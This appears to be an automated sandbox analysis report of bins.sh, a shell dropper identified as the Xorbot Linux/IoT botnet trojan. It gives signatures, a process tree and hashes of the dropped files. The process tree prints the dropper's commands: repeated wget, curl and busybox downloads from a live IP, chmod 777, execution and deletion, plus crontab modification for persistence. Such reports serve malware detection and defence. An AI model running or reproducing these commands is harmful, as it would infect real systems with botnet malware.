Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    97s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    18/01/2025, 22:27

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250118-2c27maxpck
  • SHA256 ff48529a246ef164510ba0db27730a27f2f392f60aa4cc89b167d310358304e6
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1912) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1472
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1473
        • /usr/bin/wget
          wget http://94.154.35.94/bins/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • Writes file to tmp directory
          PID:1474
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • Writes file to tmp directory
          PID:1487
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • Writes file to tmp directory
          PID:1488
        • /bin/chmod
          chmod 777 GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • File and Directory Permissions Modification
          PID:1494
        • /tmp/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          ./GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • Executes dropped EXE
          PID:1495
        • /bin/rm
          rm GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
            PID:1497
          • /usr/bin/wget
            wget http://94.154.35.94/bins/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            2⤵
            • Writes file to tmp directory
            PID:1498
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            2⤵
            • Writes file to tmp directory
            PID:1502
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            2⤵
            • Writes file to tmp directory
            PID:1503
          • /bin/chmod
            chmod 777 YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            2⤵
            • File and Directory Permissions Modification
            PID:1504
          • /tmp/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            ./YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            2⤵
            • Executes dropped EXE
            PID:1505
          • /bin/rm
            rm YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            2⤵
              PID:1507
            • /usr/bin/wget
              wget http://94.154.35.94/bins/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
              2⤵
              • Writes file to tmp directory
              PID:1508
            • /usr/bin/curl
              curl -O http://94.154.35.94/bins/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
              2⤵
              • Writes file to tmp directory
              PID:1509
            • /bin/busybox
              /bin/busybox wget http://94.154.35.94/bins/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
              2⤵
              • Writes file to tmp directory
              PID:1510
            • /bin/chmod
              chmod 777 14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
              2⤵
              • File and Directory Permissions Modification
              PID:1511
            • /tmp/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
              ./14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
              2⤵
              • Executes dropped EXE
              PID:1512
            • /bin/rm
              rm 14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
              2⤵
                PID:1514
              • /usr/bin/wget
                wget http://94.154.35.94/bins/tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                2⤵
                • Writes file to tmp directory
                PID:1515
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                2⤵
                • Writes file to tmp directory
                PID:1516
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                2⤵
                • Writes file to tmp directory
                PID:1517
              • /bin/chmod
                chmod 777 tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                2⤵
                • File and Directory Permissions Modification
                PID:1518
              • /tmp/tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                ./tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                2⤵
                • Executes dropped EXE
                PID:1519
              • /bin/rm
                rm tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                2⤵
                  PID:1521
                • /usr/bin/wget
                  wget http://94.154.35.94/bins/hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                  2⤵
                  • Writes file to tmp directory
                  PID:1522
                • /usr/bin/curl
                  curl -O http://94.154.35.94/bins/hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                  2⤵
                  • Writes file to tmp directory
                  PID:1523
                • /bin/busybox
                  /bin/busybox wget http://94.154.35.94/bins/hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                  2⤵
                  • Writes file to tmp directory
                  PID:1524
                • /bin/chmod
                  chmod 777 hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1525
                • /tmp/hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                  ./hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                  2⤵
                  • Executes dropped EXE
                  PID:1526
                • /bin/rm
                  rm hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                  2⤵
                    PID:1528
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                    2⤵
                    • Writes file to tmp directory
                    PID:1529
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                    2⤵
                    • Writes file to tmp directory
                    PID:1530
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                    2⤵
                    • Writes file to tmp directory
                    PID:1531
                  • /bin/chmod
                    chmod 777 VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1532
                  • /tmp/VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                    ./VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                    2⤵
                    • Executes dropped EXE
                    PID:1533
                  • /bin/rm
                    rm VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                    2⤵
                      PID:1535
                    • /usr/bin/wget
                      wget http://94.154.35.94/bins/ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                      2⤵
                      • Writes file to tmp directory
                      PID:1536
                    • /usr/bin/curl
                      curl -O http://94.154.35.94/bins/ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                      2⤵
                      • Writes file to tmp directory
                      PID:1537
                    • /bin/busybox
                      /bin/busybox wget http://94.154.35.94/bins/ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                      2⤵
                      • Writes file to tmp directory
                      PID:1538
                    • /bin/chmod
                      chmod 777 ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1539
                    • /tmp/ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                      ./ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                      2⤵
                      • Executes dropped EXE
                      PID:1540
                    • /bin/rm
                      rm ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                      2⤵
                        PID:1542
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/Ub8xaTBBfpSOOC2p47Dt9UBMWFIKIEe3tw
                        2⤵
                        • Writes file to tmp directory
                        PID:1543
                      • /usr/bin/curl
                        curl -O http://94.154.35.94/bins/Ub8xaTBBfpSOOC2p47Dt9UBMWFIKIEe3tw
                        2⤵
                        • Writes file to tmp directory
                        PID:1544
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/Ub8xaTBBfpSOOC2p47Dt9UBMWFIKIEe3tw
                        2⤵
                        • Writes file to tmp directory
                        PID:1545
                      • /bin/chmod
                        chmod 777 Ub8xaTBBfpSOOC2p47Dt9UBMWFIKIEe3tw
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1546
                      • /tmp/Ub8xaTBBfpSOOC2p47Dt9UBMWFIKIEe3tw
                        ./Ub8xaTBBfpSOOC2p47Dt9UBMWFIKIEe3tw
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:1547
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:1549
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:1550
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:1551
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:1552
                            • /bin/rm
                              rm Ub8xaTBBfpSOOC2p47Dt9UBMWFIKIEe3tw
                              2⤵
                                PID:1554
                              • /usr/bin/wget
                                wget http://94.154.35.94/bins/6F0CJDjQAM2YzuMWdPFuEeqX5MCFusirnL
                                2⤵
                                  PID:1557

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
                                    • Path /tmp/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
                                    • Size 151KB
                                    • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
                                    • Path /tmp/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
                                    • Size 151KB
                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    Ub8xaTBBfpSOOC2p47Dt9UBMWFIKIEe3tw
                                    • Path /tmp/Ub8xaTBBfpSOOC2p47Dt9UBMWFIKIEe3tw
                                    • Size 112KB
                                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                                    • Path /tmp/VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                                    • Size 111KB
                                    • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
                                    • Path /tmp/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
                                    • Size 122KB
                                    • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                                    • Path /tmp/ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                                    • Size 107KB
                                    • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                                    • Path /tmp/hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                                    • Size 111KB
                                    • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                                    • Path /tmp/tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                                    • Size 119KB
                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    tmp.Ww8Oee
                                    • Path /var/spool/cron/crontabs/tmp.Ww8Oee
                                    • Size 210B
                                    • SHA256 8bdd9effd5093b7de3419094af17c2fac5956eaf6c5fe33888831b46895c0e6c
                                    • MD5 SHA1 SHA512
                                    Submit Download